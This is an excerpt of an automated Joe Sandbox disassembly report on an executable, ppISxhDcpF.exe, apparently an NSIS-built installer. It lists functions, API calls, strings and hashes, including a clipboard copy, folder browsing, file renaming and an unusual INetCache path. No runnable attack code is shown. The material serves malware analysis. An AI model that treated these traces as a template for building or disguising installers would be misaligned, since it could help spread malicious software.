SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,?), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,?), ref: 004054F1
ShowWindow.USER32(?), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\ppISxhDcpF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\ppISxhDcpF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

Call, xrefs: 00404715, 0040471A, 00404725
A, xrefs: 004046D7
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-3276236015
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(?,00000000,00000000), ref: 0040451D

Strings

Call, xrefs: 00404493
N, xrefs: 00404452
open, xrefs: 004044C5
-B@, xrefs: 004044C2

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,?,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\ppISxhDcpF.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

[Rename], xrefs: 00405E65, 00405E77
NUL, xrefs: 00405D8D
%ls=%ls, xrefs: 00405DF1

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\ppISxhDcpF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\ppISxhDcpF.exe",75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B
C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
"C:\Users\user\Desktop\ppISxhDcpF.exe", xrefs: 0040632D

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\ppISxhDcpF.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1410267379
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,755723A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(000639E1,?,000639E5), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

